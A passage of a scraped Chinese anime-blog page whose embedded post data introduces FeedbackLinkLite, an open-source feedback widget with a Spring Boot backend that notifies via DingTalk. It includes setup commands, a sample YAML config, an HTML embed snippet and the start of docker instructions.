focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">登录页面</span></span></button><button type="button" data-toc-id="配置页面效果" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:2.46rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">配置页面效果</span></span></button><button type="button" data-toc-id="第一张" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:3.2399999999999998rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">第一张:</span></span></button><button type="button" data-toc-id="第二张" class="text-slate-500 hover:text-slate-900 dark:text-slate-400/82 dark:hover:text-slate-100 group relative flex min-h-10 w-full items-start overflow-hidden pr-3.5 py-1.5 text-left transition duration-200 ease-out cursor-pointer focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/45 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-sky-400/25 dark:focus-visible:ring-offset-slate-950" style="padding-left:3.2399999999999998rem;"><span class="min-w-0 flex-1 pr-1.5 transition duration-200"><span class="text-[0.78rem] font-normal leading-[1.58] text-slate-400 dark:text-slate-400/72 block min-w-0 transition duration-200">第二张:</span></span></button><!--]--></div></div></div></div></div><!----></aside></div></section><!----><!----><!----><!--[--><!----><!----><!--v-if--><!--]--><!--[--><!----><!----><!--v-if--><!--]--></main><!--]--><footer class="border-t border-white/60 bg-white/72 dark:border-white/10 dark:bg-slate-950/70"><div class="mx-auto flex max-w-[1360px] flex-col gap-3 px-5 py-8 text-sm text-slate-500 sm:px-8 lg:px-10 dark:text-slate-400 md:flex-row md:items-center md:justify-between"><p>云屿 Yunyu · 用更柔软的方式整理动画内容222</p><div class="flex items-center gap-4"><a href="/posts" class="hover:text-slate-900 dark:hover:text-slate-50">文章</a><a href="/categories" class="hover:text-slate-900 dark:hover:text-slate-50">分类</a><a href="/tags" class="hover:text-slate-900 dark:hover:text-slate-50">标签</a><a href="/topics" class="hover:text-slate-900 dark:hover:text-slate-50">专题</a></div></div></footer></div><!--]--><!--]--><!--[--><!--]--><!--v-if--><!--]--><!--[--><!--]--><!--]--><!--]--></div><div id="teleports"></div><script>window.__NUXT__={};window.__NUXT__.config={public:{apiBase:"https://yunyu-server-native.ideaflow.top"},app:{baseURL:"/",buildId:"8b6c3828-55b7-4edc-9d5a-2bba62e80722",buildAssetsDir:"/_nuxt/",cdnURL:""}}</script><script type="application/json" data-nuxt-data="nuxt-app" data-ssr="true" id="__NUXT_DATA__">[["ShallowReactive",1],{"data":2,"state":114,"once":120,"_errors":121,"serverRendered":14,"path":123},["ShallowReactive",3],{"site-base-info":4,"site-post-feedbacklinklite":13},{"defaultDescription":5,"defaultTitle":6,"faviconUrl":7,"footerText":8,"logoUrl":7,"primaryColor":9,"secondaryColor":10,"siteName":11,"siteSubTitle":12},"聚焦新番观察、场景美学、角色成长与专题化内容组织的动漫风格内容站。","云屿 Yunyu - 个人博客","","云屿 Yunyu · 用更柔软的方式整理动画内容222","#38BDF8","#FB923C","云屿","在二次元场景与情绪里漫游的内容站",{"allowComment":14,"authorAvatarUrl":7,"authorName":15,"categoryName":16,"categorySlug":17,"commentCount":18,"contentAccessConfig":19,"contentAccessState":26,"contentHtml":32,"contentMarkdown":33,"contentTocJson":34,"coverUrl":7,"id":35,"likeCount":36,"publishedAt":37,"readingMinutes":38,"relatedPosts":39,"seoDescription":107,"seoTitle":107,"slug":108,"summary":7,"tagNames":109,"tailHiddenContentHtml":7,"tailHiddenTitle":111,"title":107,"topicNames":112,"videoUrl":7,"viewCount":113},true,"yunyu","服务端开发","fwdkf",2,{"articleAccess":20,"tailHiddenAccess":23,"version":25},{"enabled":21,"ruleTypes":22},false,[],{"enabled":21,"ruleTypes":24},[],1,{"articleAccessAllowed":14,"articleAccessPendingRuleTypes":27,"articleAccessRuleTypes":28,"loggedIn":21,"tailHiddenAccessAllowed":14,"tailHiddenAccessPendingRuleTypes":29,"tailHiddenAccessRuleTypes":30,"wechatAccessCodeEnabled":21,"wechatAccessCodeHint":31,"wechatQrCodeUrl":7},[],[],[],[],"关注公众号后输入访问验证码","\u003Ch1 id=\"feedbacklinklite-轻量级用户反馈系统\" tabindex=\"-1\">FeedbackLinkLite - 轻量级用户反馈系统\u003C\u002Fh1>\n\u003Cp>开源自荐- 网站一行代码引入,接入简单反馈收集服务 和用户交互-FeedbackLinkLite - 轻量级用户反馈系统\u003C\u002Fp>\n\u003Cp>目前很初版 很简单~ 欢迎交流 与使用~~~ :lark_186:\u003C\u002Fp>\n\u003Ciframe src=\"\u002F\u002Fplayer.bilibili.com\u002Fplayer.html?isOutside=true&aid=115991061204177&bvid=BV1256pBkELM&cid=35739405835&p=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\">\u003C\u002Fiframe>\u003Cblockquote>\n\u003Cp>\u003Cstrong>"倾听用户的声音,是产品进化的捷径。"\u003C\u002Fstrong>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FIdea-flow\u002FFeedbackLinkLite\" target=\"_blank\" rel=\"noopener noreferrer\">https:\u002F\u002Fgithub.com\u002FIdea-flow\u002FFeedbackLinkLite\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch2 id=\"核心理念\" tabindex=\"-1\">🌟 核心理念\u003C\u002Fh2>\n\u003Cp>在独立开发和小型项目的世界里,我们深知每一行代码背后的心血。然而,无论产品构思多么精妙,如果听不到用户的声音,就如同在黑暗中摸索。\u003C\u002Fp>\n\u003Cp>\u003Cstrong>ServiceLinkLite\u003C\u002Fstrong> 的诞生源于一个简单的"想知道用户反馈"初衷:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>为开发者减负\u003C\u002Fstrong>:您不应该为了一个简单的"反馈功能"而耗费宝贵的开发时间。我们希望您能专注于核心业务,把"倾听"这件事交给我们。\u003C\u002Fli>\n\u003Cli>\u003Cstrong>让用户受益\u003C\u002Fstrong>:当您的用户遇到问题或有好的建议时,他们能拥有一个极简、无压力的渠道与您沟通。这不仅解决了他们的问题,更让您的产品因为他们的参与而变得更好。\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>这是一个连接创造者与使用者的桥梁。我们相信,开放反馈渠道本身就是一种对他人的尊重与关怀,而这份"利他"之心,终将回馈于您的产品成长。\u003C\u002Fp>\n\u003Chr>\n\u003Ch2 id=\"项目介绍\" tabindex=\"-1\">🚀 项目介绍\u003C\u002Fh2>\n\u003Cp>\u003Cstrong>ServiceLinkLite\u003C\u002Fstrong> 是一个专门为 \u003Cstrong>个人开发者\u003C\u002Fstrong>、\u003Cstrong>小型 Web 项目\u002F网站\u003C\u002Fstrong> 打造的轻量级用户反馈解决方案。\u003C\u002Fp>\n\u003Cp>它由两部分组成:\u003C\u002Fp>\n\u003Col>\n\u003Cli>\u003Cstrong>前端 Widget\u003C\u002Fstrong>:一个极简的 JavaScript 插件,几行代码即可嵌入任何网页。\u003C\u002Fli>\n\u003Cli>\u003Cstrong>后端服务\u003C\u002Fstrong>:基于 Spring Boot 的轻量级服务,负责接收反馈并实时推送到您的即时通讯工具(目前支持钉钉,更多渠道开发中)。\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3 id=\"核心特性\" tabindex=\"-1\">✨ 核心特性\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>极简集成\u003C\u002Fstrong>:前端只需引入一个 JS 文件,即可获得优雅的反馈按钮与弹窗。\u003C\u002Fli>\n\u003Cli>\u003Cstrong>即时触达\u003C\u002Fstrong>:用户提交反馈后,消息会立即通过机器人在群里通知您(支持钉钉 Webhook)。\u003C\u002Fli>\n\u003Cli>\u003Cstrong>防骚扰设计\u003C\u002Fstrong>:内置 IP 频次限制(Rate Limiting),防止恶意刷屏。\u003C\u002Fli>\n\u003Cli>\u003Cstrong>完全开源\u003C\u002Fstrong>:代码透明,数据掌控在自己手中,无隐私担忧。\u003C\u002Fli>\n\u003Cli>\u003Cstrong>开箱即用\u003C\u002Fstrong>:无需复杂的数据库配置(默认日志\u002F内存处理,可视需求扩展)。\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch2 id=\"技术栈\" tabindex=\"-1\">🛠 技术栈\u003C\u002Fh2>\n\u003Cul>\n\u003Cli>\u003Cstrong>后端\u003C\u002Fstrong>: Java 21+, Spring Boot4 (Native\u002FGraalVM)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>前端 Widget\u003C\u002Fstrong>: Vue 3 (Web Components), Vite\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch2 id=\"快速开始\" tabindex=\"-1\">📦 快速开始\u003C\u002Fh2>\n\u003Ch3 id=\"1-部署后端\" tabindex=\"-1\">1. 部署后端\u003C\u002Fh3>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"bash\"\n data-code-language-label=\"Bash\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">Bash\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cdiv class=\"yy-md-code-surface\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"># 克隆项目 \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">git\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> clone\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> https:\u002F\u002Fgithub.com\u002Fyour-repo\u002FServiceLinkLite.git\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"># 运行服务 \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">cd\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> ServiceLinkLite\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">.\u002Fmvnw\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> spring-boot:run\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Ch3 id=\"2-配置通知渠道-applicationyml\" tabindex=\"-1\">2. 配置通知渠道 (application.yml)\u003C\u002Fh3>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"yaml\"\n data-code-language-label=\"YAML\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">YAML\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cdiv class=\"yy-md-code-surface\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\">feedback\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> enabled\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">true\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> dingTalk\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> webhook\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> secret\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> rate-limit\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> enabled\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">true\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> max-requests\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">5\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> window-minutes\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">60\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> auth\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> username\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"admin\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> password\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"admin\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> token\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"token123434kkgdka56\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> # 外部配置文件路径,默认指向工作目录下 data\u002Ffeedback_config.json,可通过 FEEDBACK_CONFIG_PATH 或 feedback.config-path 覆盖 \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\"> config-path\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\".\u002Fdata\u002Ffeedback_config.json\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Ch3 id=\"3-前端嵌入\" tabindex=\"-1\">3. 前端嵌入\u003C\u002Fh3>\n\u003Cp>在您的 HTML 页面中添加:\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"html\"\n data-code-language-label=\"HTML\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">HTML\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cdiv class=\"yy-md-code-surface\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"><\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\">script\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#79C0FF\"> src\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">=\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"http:\u002F\u002Fyour-server-ip-or-domain\u002Ffeedback.js\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">><\u002F\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#22863A;--shiki-dark:#7EE787\">script\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Chr>\n\u003Ch2 id=\"贡献与支持\" tabindex=\"-1\">🤝 贡献与支持\u003C\u002Fh2>\n\u003Cp>如果你觉得这个小工具对你有帮助,欢迎 Star 支持!也欢迎提交 PR 扩展更多消息渠道(如飞书、企业微信、Email 等)。\u003C\u002Fp>\n\u003Ch1 id=\"优点\" tabindex=\"-1\">优点\u003C\u002Fh1>\n\u003Ch2 id=\"大小-127mb\" tabindex=\"-1\">大小-127MB\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F0c07734277b18f741b97ab93aee89bab.webp\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch2 id=\"内存-仅仅43mb\" tabindex=\"-1\">内存-仅仅43MB\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F97ecdff1da1f721af21912df6b2caa31.webp\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch1 id=\"docker运行\" tabindex=\"-1\">docker运行\u003C\u002Fh1>\n\u003Ch2 id=\"持久化运行\" tabindex=\"-1\">持久化运行\u003C\u002Fh2>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"bash\"\n data-code-language-label=\"Bash\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">Bash\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cdiv class=\"yy-md-code-surface\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">如果想持久化配置\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> \u002Fdata\u002Ffeedback_config.json\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> 拷贝到\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> \u002Fxxxx\u002Fdata\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> 目录下后执行\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">mkdir\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> -p\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> \u002Fxxx\u002Fdata\u002F\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> 